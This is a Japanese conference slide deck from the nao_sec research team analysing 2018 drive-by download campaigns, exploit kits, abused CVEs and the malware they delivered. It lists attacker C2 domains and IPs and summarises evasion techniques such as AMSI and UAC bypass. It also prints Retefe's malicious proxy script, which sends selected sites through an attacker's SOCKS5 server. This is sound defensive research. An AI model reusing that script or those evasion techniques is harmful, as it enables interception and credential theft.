Copyright©2018 nao_sec All Rights Reserved.

自己紹介• 小池倫太郎• セキュリティエンジニア（1年生）• nao_secでマルウェア解析以外を担当• 専門は悪性トラフィック・スクリプトの解析• 中島将太• フォレンジッカー、マルウェアアナリスト（1年生）• nao_secではマルウェアやシェルコード解析を担当

2Copyright©2018 nao_sec All Rights Reserved.

Drive-by Download攻撃 ver 2017
• 攻撃キャンペーン

• pseudo-DarkleechとEITestの活動停止• Seamless、Fobos、Rulan、Ngayの出現と活発化• Malvertising系の攻撃キャンペーンの繁栄• Exploit Kit• NebulaとDisdainの出現と消滅• RIGの繁栄• ShadowfallによるDomain Shadowingの停止• IPアドレスを用いたURLへ移行（参考：https://www.jpcert.or.jp/present/2018/JSAC2018_04_koike-nakajima.pdf）

3

Copyright©2018 nao_sec All Rights Reserved.

Drive-by Download攻撃 ver 2018
• 攻撃キャンペーン

• Seamless(PseudoGate)とHookAdsの繁栄• CoinsLTDやSlyIP、Slotsの登場と消滅• BlackTDSの登場• Exploit Kit• UnderminerとFalloutの登場と繁栄• RIGの衰退• GrandSoftの復活• 新たな脆弱性の悪用

4Copyright©2018 nao_sec All Rights Reserved.

新たな脆弱性• CVE-2018-4878• Adobe Flash PlayerのRCE• Magnitude、RIG、Falloutなどで悪用• CVE-2018-8174• VBScript EngineのRCE• RIG、Magnitude、GrandSoft、Fallout、KaiXinなどで悪用• CVE-2018-8373• VBScript EngineのRCE• KaiXinやFalloutなどで悪用• CVE-2018-15982• Adobe Flash PlayerのRCE• FalloutやUnderminerなどで悪用

5

Copyright©2018 nao_sec All Rights Reserved.

攻撃キャンペーン

6Copyright©2018 nao_sec All Rights Reserved.

Seamless / PseudoGate• 3月頃からSeamlessの活動が停止• 代わりに7月頃からPseudoGateが登場し活発化• 両方とも日本・カナダ・アメリカが標的• Banking Trojan、特にRamnitを頻繁に使用• SeamlessとPseudoGateは同一Actorの可能性？

7Copyright©2018 nao_sec All Rights Reserved.

Seamless / PseudoGate• Seamless• Malvertising• Pre-GateとGateを用いてRIGへ誘導• ユーザの地理的情報を用いて処理を分岐• 標的は日本・カナダ・アメリカ• 主にRamnitを使用

8

Copyright©2018 nao_sec All Rights Reserved.

Seamless / PseudoGate• PseudoGate• Malvertising• 正規のWebサイトを改ざんして使用することがある• 検知や遮断が困難• GrandSoftやRIGを使用• Panda BankerやOsiris(Kronos)、Ramnitなどを使用• 日本・カナダのクレジットカード・銀行などの情報を窃取

9Copyright©2018 nao_sec All Rights Reserved.

HookAds• Malvertising• DecoyサイトとGateを使って攻撃を行う• Kraken CryptorやGlobeImposter、GandCrabなどのランサムウェアを使うことが多い

10

Copyright©2018 nao_sec All Rights Reserved.

HookAds• Decoyサイト• 88.208.7.192と88.208.7.193• Gate• 185.56.233.186

11Copyright©2018 nao_sec All Rights Reserved.

Exploit Kit

12

Copyright©2018 nao_sec All Rights Reserved.

RIG Exploit Kit• 概要• 2014年頃から観測されているExploit Kit• 2016年9月以降最も活発• 非常に多くの攻撃キャンペーンで利用されている• Falloutの登場でシェアは大幅に減少• それでも多くの攻撃キャンペーンが使用• 基本的な機能・構成は昨年から変化せず

13

Copyright©2018 nao_sec All Rights Reserved.

RIG Exploit Kit• トラフィック

• 3つのトラフィックによって攻撃が行われる
1. Landing Page
•
••
•
•

CVE-2013-2551
CVE-2015-2419
CVE-2016-0189
CVE-2018-8174
SWF Exploitを読み込むためのhtml

2. SWF Exploit（他の脆弱性が悪用された場合は発生しない）• CVE-2018-4878

3. Malware Payload• RC4によって暗号化されたマルウェア14Copyright©2018 nao_sec All Rights Reserved.

RIG Exploit Kit• Landing Page

• 難読化は以前よりも簡単に
15

Copyright©2018 nao_sec All Rights Reserved.

RIG Exploit Kit• Malware Payload• RC4 Encode16

Copyright©2018 nao_sec All Rights Reserved.

RIG Exploit Kit• Landing PageのURLを生成するAPIのエンドポイントはBlackHat Asia 2018で発表されており、変化なし（引用元：https://www.blackhat.com/docs/asia-18/asia-18-papa-Future-Proof%20Counter%20Attacks%20Against%20Exploit%20Kit%20Infrastructure-WP.pdf）

17

Copyright©2018 nao_sec All Rights Reserved.

RIG Exploit Kit
利用されたIPアドレスの分布

ロシア:2325, ドイツ:106, ウクライナ:8, カザフスタン618

Copyright©2018 nao_sec All Rights Reserved.

GrandSoft Exploit Kit• 2018年2月頃から再度活発化• 2012年頃から観測されている• PseudoGateで頻繁に利用されている

19

Copyright©2018 nao_sec All Rights Reserved.

GrandSoft Exploit Kit

20

Copyright©2018 nao_sec All Rights Reserved.

GrandSoft Exploit Kit

21

Copyright©2018 nao_sec All Rights Reserved.

Underminer Exploit Kit• 2018年7月頃から観測され始めた• 日本を中心とした東アジア圏で活発• 処理を公開鍵暗号で隠すことで解析を妨害• トラフィックデータを見ただけでは解析することは困難

22

Copyright©2018 nao_sec All Rights Reserved.

Underminer Exploit Kit

23

Copyright©2018 nao_sec All Rights Reserved.

Underminer Exploit Kit• formを使ってリダイレクト• 送信情報にクライアント環境データを含む

24

Copyright©2018 nao_sec All Rights Reserved.

Underminer Exploit Kit

25

Copyright©2018 nao_sec All Rights Reserved.

Underminer Exploit Kit

26

Copyright©2018 nao_sec All Rights Reserved.

Underminer Exploit Kit①公開鍵をダウンロード

RandomString②文字列生成③公開鍵で暗号化して送信

ユーザ環境

RandomStringRandomStringRandom④秘密鍵で復号 String
Underminer⑤文字列で暗号化したデータを送信⑥データを復号して実行
27

Copyright©2018 nao_sec All Rights Reserved.

Underminer Exploit Kit

28

Copyright©2018 nao_sec All Rights Reserved.

Underminer Exploit Kit

29

Copyright©2018 nao_sec All Rights Reserved.

Fallout Exploit Kit• 2018年8月頃から観測され始めた• 非常に活発• 多くの攻撃キャンペーンで利用されている• RIGの商売敵• HTMLからExploitationに必要なコードを生成• Nuclear Exploit Kitに類似• URLに特徴がない• フィルタや検知が困難

30

Copyright©2018 nao_sec All Rights Reserved.

Fallout Exploit Kit

31

Copyright©2018 nao_sec All Rights Reserved.

Fallout Exploit Kit• Custom Base64

32

Copyright©2018 nao_sec All Rights Reserved.

Fallout Exploit Kit
• RC4

33

Copyright©2018 nao_sec All Rights Reserved.Fallout Exploit Kit• CVE-2018-8174• 基本的にはPoCと同じ

34

Copyright©2018 nao_sec All Rights Reserved.

Fallout Exploit Kit• CVE-2018-15982• Shellcode部分以外はPoCと全く同じ

35

Copyright©2018 nao_sec All Rights Reserved.

Fallout Exploit Kit

36

Copyright©2018 nao_sec All Rights Reserved.

Exploitation(shellcode)37

Copyright©2018 nao_sec All Rights Reserved.

CVE-2018-8174 (RIG)• RIG Exploit Kit• 1バイトのxorでシェルコードの後半をエンコード• CreateProcessAでダウンロードしたマルウェアを実行

38

Copyright©2018 nao_sec All Rights Reserved.

CVE-2018-8174 (GrandSoft)• ６月下旬以前のフロー1. ランダム値の生成
2. ランダム値を使った鍵生成
3. 鍵をURLの末尾に追加
4. 暗号化されたマルウェアのダウンロード
5. デコード*

39

in shellcode

Copyright©2018 nao_sec All Rights Reserved.

CVE-2018-8174 (GrandSoft)• ６月下旬以降のフロー
1. ランダム値の生成
2. 鍵をURLの末尾に追加
3. 暗号化されたマルウェアのダウンロード
4. デコード*40

in shellcode

Copyright©2018 nao_sec All Rights Reserved.

CVE-2018-8174 (Fallout)• シェルコードの後半を1バイトxorでエンコード

41

Copyright©2018 nao_sec All Rights Reserved.

CVE-2018-8174 (Fallout)• ハードコードされた鍵でxor

42

Copyright©2018 nao_sec All Rights Reserved.

CVE-2018-8174 (Fallout)• 1/17に観測！
• シェルコードでPowerShellをデコードしてCreateProessAで実行

43

Copyright©2018 nao_sec All Rights Reserved.

CVE-2018-8174 (Fallout)• Anti Malware Scan InterfaceをBypass• マルウェアをダウンロード

44

Copyright©2018 nao_sec All Rights Reserved.

CVE-2018-8174 (Fallout)• CreateProcessをC#で定義し、マルウェアを実行

45

Copyright©2018 nao_sec All Rights Reserved.

CVE-2018-15982 (Fallout)
シェルコードはほぼ8174と同じ• Anti Malware Scan InterfaceのBypass• マルウェアをダウンロードし、IEXで実行

46

Copyright©2018 nao_sec All Rights Reserved.

CVE-2018-4878 (Underminer)• APIはadd1505Shl5Hash32でハッシュ化されている• wininet APIでWAVファイルをダウンロード

47

Copyright©2018 nao_sec All Rights Reserved.

CVE-2018-4878 (Underminer)• WAVファイルをパースして、データを復号

48

Copyright©2018 nao_sec All Rights Reserved.

PoC公開から観測まで• EKで利用されるCVEの殆どがPoCを流用している
• 公開

• 観測

• Rig

• 2018-05-25• GrandSoft• 2018-06-14• Fallout• 2018-08-30
ソース:https://malware.dontneedcoffee.com/2018/05/CVE-2018-8174.html

49

Copyright©2018 nao_sec All Rights Reserved.

マルウェア50

Copyright©2018 nao_sec All Rights Reserved.

RIG Exploit Kit
Banking Trojan、Ransomware、Miner、Info Stealer、RAT
GandCrabSlyipUrsnif
ZeusPanda
SmokeLoader

Seamless/PseudoGate
RamnitDarkVNC
KronosMiner
HookAds

Clipboard Hijacker

AZORult
RetefeGandCrab
Unknown

51

Ursnif
AZORult

BabylonRAT

Copyright©2018 nao_sec All Rights Reserved.

GrandSoft Exploit Kit• Banking Trojan、Miner、Ransomware
Miner
BlackTDS
GandCrab
GandCrab
Slyip
UrsnifSmokeLoader

ZeusPanda

PseudoGate
AZORult

RamnitAZORult

52

Copyright©2018 nao_sec All Rights Reserved.

Underminer Exploit Kit• Trend Micro、Malwarebytesのブログによるとシステムのブートセクタを改変するbootkitとMinerを配布

https://blog.malwarebytes.com/threat-analysis/2018/07/hidden-bee-miner-delivered-via-improved-drive-by-download-toolkit/
https://blog.trendmicro.com/trendlabs-security-intelligence/new-underminer-exploit-kit-delivers-bootkit-and-cryptocurrency-mining-malware-with-encrypted-tcp-tunnel/

53

Copyright©2018 nao_sec All Rights Reserved.

Fallout Exploit Kit• Banking Trojan、Ransomware、Miner、Info Stealer、
RAT
SmokeLoader
GandCrab
Unknown

SAVEfiles Ransomware
AZORult
UrsnifDridexParadise Ransomware
Vidar
Vidar
Kraken Cryptor

HookAds

GlobeImposter
Miner

SmokeLoaderAZORultKPOTGlobeImposter+
CoalaBot

NetWireRAT
54

Copyright©2018 nao_sec All Rights Reserved.

AZORult• Info Stealer & Downloader• 対象ソフトのアカウント情報、ブラウザ履歴、cookie、仮想通貨ウォレット• マルウェアのダウンロード• Malspam、Exploit Kitで配布• 2018年はv3.2(7/17)とv3.3(10/4)にバージョンアップ
• Underground forum(exploit.in)で宣伝されている

引用元：The Emergence of the New Azorult 3.3 - Check Point Researchhttps://research.checkpoint.com/the-emergence-of-the-new-azorult-3-3/

55

Copyright©2018 nao_sec All Rights Reserved.

AZORult• 何度もBuilderとPanelがリークしている56

Copyright©2018 nao_sec All Rights Reserved.

AZORult• キャンペーン毎に窃取する情報が変化• HookAdsとPseudoGateでは収集する対象が異なる• 仮想通貨ウォレット

Copyright©2018 nao_sec All Rights Reserved.

AZORultのconfig• Builder ・Configに細かくウォレットを指定する項目はない• バージョンによる差異ではないかと考えられる

58

Copyright©2018 nao_sec All Rights Reserved.

AZORultのC2• nagoyashi.chimkent[.]su|193.124.180.99• RU、MAROSNET• infolocalip[.]com|23.254.161.197• US、Hostwinds• po0o0o0o[.]at|46.229.214.132• RU、timeweb• fyreplittgothin.pw| 94.103.80.138• RU、VDSina

IPでアクセスすることも• http[:]//128.199.37.74/index.php• SG、DigitalOcean• http[:]//46.229.214.132/index.php• RU、timeweb59

Copyright©2018 nao_sec All Rights Reserved.

Ramnit• Banking Trojan• Seamlessキャンペーンで長期間使われていた• 以下のモジュールを使用• Antivirus Trusted Module v2.0 (AVG、Avast、Nod32、Norton、Bitdefender)•

アンチウイルスソフトの例外リストに追加•

ブラウザのクッキーの収集•

ブラウザへインジェクション

•ブラウザの再インストール•

パスワード窃取• Cookie Grabber v0.5 (IE&CH Export)• IE & Chrome & FF injector• VNC (23 port) x64-x86• FF&Chrome reinstall x64-x86 [silent]• Pony based pwd stealer

60

Copyright©2018 nao_sec All Rights Reserved.

RamnitのC2• revivalresumed[.]com|109.248.59.111• RU、Argotel• goldenfreeanhfirst[.]com|80.87.197.238• RU、1stVDS• simsim.adygeya[.]su|213.183.51.62• NL、Melbicom UAB(ロシアのVPSサービス)• newwfreedomaincom[.]com|95.46.8.133• UA、time-host

61

Copyright©2018 nao_sec All Rights Reserved.

Kronos/Osiris• 2014年に登場した• 2018年にKronosをアップデートしたOsirisが登場• RigEKからDropしたSmoke Loaderがダウンロード

引用元：https://research.checkpoint.com/osiris-enhanced-banking-trojan

62

Copyright©2018 nao_sec All Rights Reserved.

Osiris
通信先やファイル名の特徴からOsirisと思われる• hxxp://fritsy83[.]website/Osiris.exe• hxxp://oo00mika84[.]website/Osiris_jmjp_auto2_noinj.exe• Osiris_jmjp_auto2!？Kronos

63

Copyright©2018 nao_sec All Rights Reserved.

KronosとOsirisの類似点• ハードコードされた文字列• yaraルールでの検出=バイナリの特徴が同じ• 文字列・C2のエンコードアルゴリズム
Kronos+Tor=Osiris?

64

Copyright©2018 nao_sec All Rights Reserved.

GandCrab• 2018年1月下旬に登場したランサムウェア• 様々攻撃で使用されている• Malspam、Fake Flash、Exploit Kit• 感染地域も広域• マーケティング、アップデートも活発• 販売時にリサーチャーのブログやツイートを引用

65

Copyright©2018 nao_sec All Rights Reserved.

GandCrabのバージョン
Fake Adobe Flash Player
経由でも配布v1のdecryptorリリース

v1.x

Jan

v5.0

v3.0

Feb

Seamless経由で初観測

Mar

AprMay

Jul
v4.x

v2.x
拡張子の変化GDCB→KRAB

66

拡張子の変化
KRAB→ランダム5文字

Sep

Dec
ネットワーク共有を探す

利用の暗号アルゴリズムの変化
AES→Salsa20

Copyright©2018 nao_sec All Rights Reserved.

ReflectiveDLLInjection• V1.1 、V2.x、V3.xで使用• ディスクではなくメモリ上からDLLを読み込むテクニック

67

Copyright©2018 nao_sec All Rights Reserved.

他プロセスへインジェクション
• V2.1• exploerer.exe• V3• svchost.exe• ReflectiveDLLInjectionを使う

68

Copyright©2018 nao_sec All Rights Reserved.

自プロセスの書き換え• V1, V4以降

• メモリ上の自プロセスの領域の一部を書き換える

69

Copyright©2018 nao_sec All Rights Reserved.

解析環境の検知• GetVolumeInformation APIの値を比較してany.runを検知してメッセージボックスを表示

70

Copyright©2018 nao_sec All Rights Reserved.

解析環境の検知• メッセージはxorでエンコードして保持していた

71

Copyright©2018 nao_sec All Rights Reserved.

GandCrabのC2• v4までは.bitというトップレベルドメイン（TLD）を使用していた• Namecoinが提供する特殊なTLD• 独自のDNSを使用• ns1.cloud-name[.]ru• ns1.wowservers[.]ru• ドメイン名でよく遊んでいる

72

Copyright©2018 nao_sec All Rights Reserved.

GandCrabのC2• Namecoin側は実際にはNamecoinが提供するDNSを使用せずに、非公式のミラーサービスdnspod.comを利用しているので無関係と弁明

https://www.namecoin.org/2018/01/30/recent-reports-ransomware-using-namecoin-missing-real-story.htmlより引用

73

Copyright©2018 nao_sec All Rights Reserved.

GandCrabのC2• Namecoin側は実際にはNamecoinが提供するDNSを使用せずに、非公式のミラーサービスdnspod.comを利用しているので無関係と弁明

GandCrabはNamecoinを使ってないので、Namecoinドメインを殺しても何の効果もない

https://www.namecoin.org/2018/01/30/recent-reports-ransomware-using-namecoin-missing-real-story.htmlより引用

74

Copyright©2018 nao_sec All Rights Reserved.

GandCrabのC275

Copyright©2018 nao_sec All Rights Reserved.

GandCrabのC2• v4.0• インターネットに接続してない場合も暗号化される• 通信なし• v4.1以降は通常のドメインを使用• ハードコードされたリストを使用• パスをランダムに組み合わせる76

Copyright©2018 nao_sec All Rights Reserved.

v1.x• テキストのみ

77

Copyright©2018 nao_sec All Rights Reserved.

v2.x

78

Copyright©2018 nao_sec All Rights Reserved.

v3.x

79

Copyright©2018 nao_sec All Rights Reserved.

v4.x

80

Copyright©2018 nao_sec All Rights Reserved.

v5.0• ransom noteが日本語に対応

81

Copyright©2018 nao_sec All Rights Reserved.

v5.0.3• ransom noteが戻ってた・・・

82

Copyright©2018 nao_sec All Rights Reserved.

キーボードタイプの取得• ロシア語の設定の場合は動作せず

83

Copyright©2018 nao_sec All Rights Reserved.

UIの言語設定の取得• v4以降に追加• UIの言語設定を確認して、該当する場合は暗号化しない・ロシア語（0x419）
・ウクライナ語（0x422）
・ベラルーシ語（0x423）
・タジク語（0x428）
・アルメニア語（0x42B）
・アゼルバイジャン語（0x42C / 0x82C）
・グルジア語（0x437）
・カザフスタン（0x43F）
・キルギス語（0x440）
・トルクメン語（0x442）
・タタール語（0x444）
・ルーマニア語（0x818）
・モルドバ語（0x819）
・ウズベキスタン語（0x843）

84

Copyright©2018 nao_sec All Rights Reserved.

Kraken Cryptor• 今年8月下旬に登場したランサムウェア• Fallout経由で拡散• ransomware-as-a-service (RaaS)• .NET Frameworkで実装され、難読化されている
v1.6

85

v2.2

Copyright©2018 nao_sec All Rights Reserved.

Kraken Cryptorの対象地域
10/21にKrakenの作者によって公開された
被害の割合

旧ソ連圏諸国を除外
アルメニア
アゼルバイジャン

ベラルーシ
エストニア
ジョージア
イラン
カザフスタン

キルギス
ラトビア
リトアニア
モルドバ
ロシア

タジキスタン
引用元：https://securingtomorrow.mcafee.com/mcafee-labs/
fallout-exploit-kit-releases-the-kraken-ransomware-on-its-victims/

トルクメニスタンウクライナ
ウズベキスタン86

Copyright©2018 nao_sec All Rights Reserved.

eventvwr.exeを利用したUAC回避• V1.6のローダーで使用• eventvwr.exeは実行時に以下のレジストリに登録されたパスのファイルを管理者権限で実行する

87

Copyright©2018 nao_sec All Rights Reserved.

SDeleteを使った削除• バッチの実行

88

Copyright©2018 nao_sec All Rights Reserved.

config• v1.689

Copyright©2018 nao_sec All Rights Reserved.

config• v2.290

Copyright©2018 nao_sec All Rights Reserved.

KPOT Stealer• 2018年8月頃に見つかったInformation stealer

91

Copyright©2018 nao_sec All Rights Reserved.

KPOT panel• C2パネルのソースコードがリークしている

https://github.com/prsecurity/KPOT-Admin-C2-Source-Code92

Copyright©2018 nao_sec All Rights Reserved.

KPOTの収集する情報• configで制御可能• 端末情報、ブラウザ、ビデオチャットなどの保存されたデータ

93

Copyright©2018 nao_sec All Rights Reserved.

Retefe• Info Stealer• プロキシ設定を追加する• C:¥Users¥user¥AppData¥Roaming¥Mozilla¥Firefox¥Profilesの
prefs.jsfunction FindProxyForURL(url, host)(var proxy = "SOCKS5 coughsmoggyspark.co:5555;";
var hosts = new Array('blockchain.info', 'blockchain.com', '*twitter.com*', '*google.*');for (var i = 0; i < hosts.length; {if (shExpMatch(host, hosts[i])) {return proxy}}
return "DIRECT")

94

Copyright©2018 nao_sec All Rights Reserved.

Clipboard Hijacker• クリップボードにビットコインのアドレスがコピーされると攻撃者の用意したアドレスに置き換える• AddClipboardFormatListener
を使ってクリップボードの変化を監視• ビットコインのアドレスとしてvalidなら置換する

95

Copyright©2018 nao_sec All Rights Reserved.

Clipboard Hijacker• リソース領域にエンコードしたアドレスを保持

96

Copyright©2018 nao_sec All Rights Reserved.

まとめ

97

Copyright©2018 nao_sec All Rights Reserved.

まとめ• 新たなExploit Kitの登場• Underminer Exploit Kit• 公開鍵と独自のマルウェア• Fallout Exploit Kit• 特徴のないURL• 新たな脆弱性の悪用• CVE-2018-4878、8174、8373、15982• 日本を標的とした攻撃キャンペーン
• PseudoGate• Ramnit、AZORult、Panda Banker、Osiris• HookAds• Kraken Cryptor、GlobeImposter、GandCrab

98

Copyright©2018 nao_sec All Rights Reserved.

まとめ• ロシア語を中心としたフォーラムで宣伝、販売• リサーチャーに対するメッセージ• ソースコード内のコメント• 言語設定による感染の有無• ロシア語圏、旧ソ連圏諸国を対象外とする• 種類は減ったがランサムウェアの開発、感染は活発• 特にGandCrab• 明示的に日本を対象としたマルウェアも多数存在する• Banking Trojan• マイナーは下半期は下火、しかし仮想通貨が狙われなくなったわけではない• 必要な解析環境• 日本を対象とした攻撃の解析には日本語環境や日本のIPの環境が必要となる• パブリックなサンドボックス解析を検知し、挙動を変更

99

Copyright©2018 nao_sec All Rights Reserved.

Any Questions?

100

Copyright©2018 nao_sec All Rights Reserved.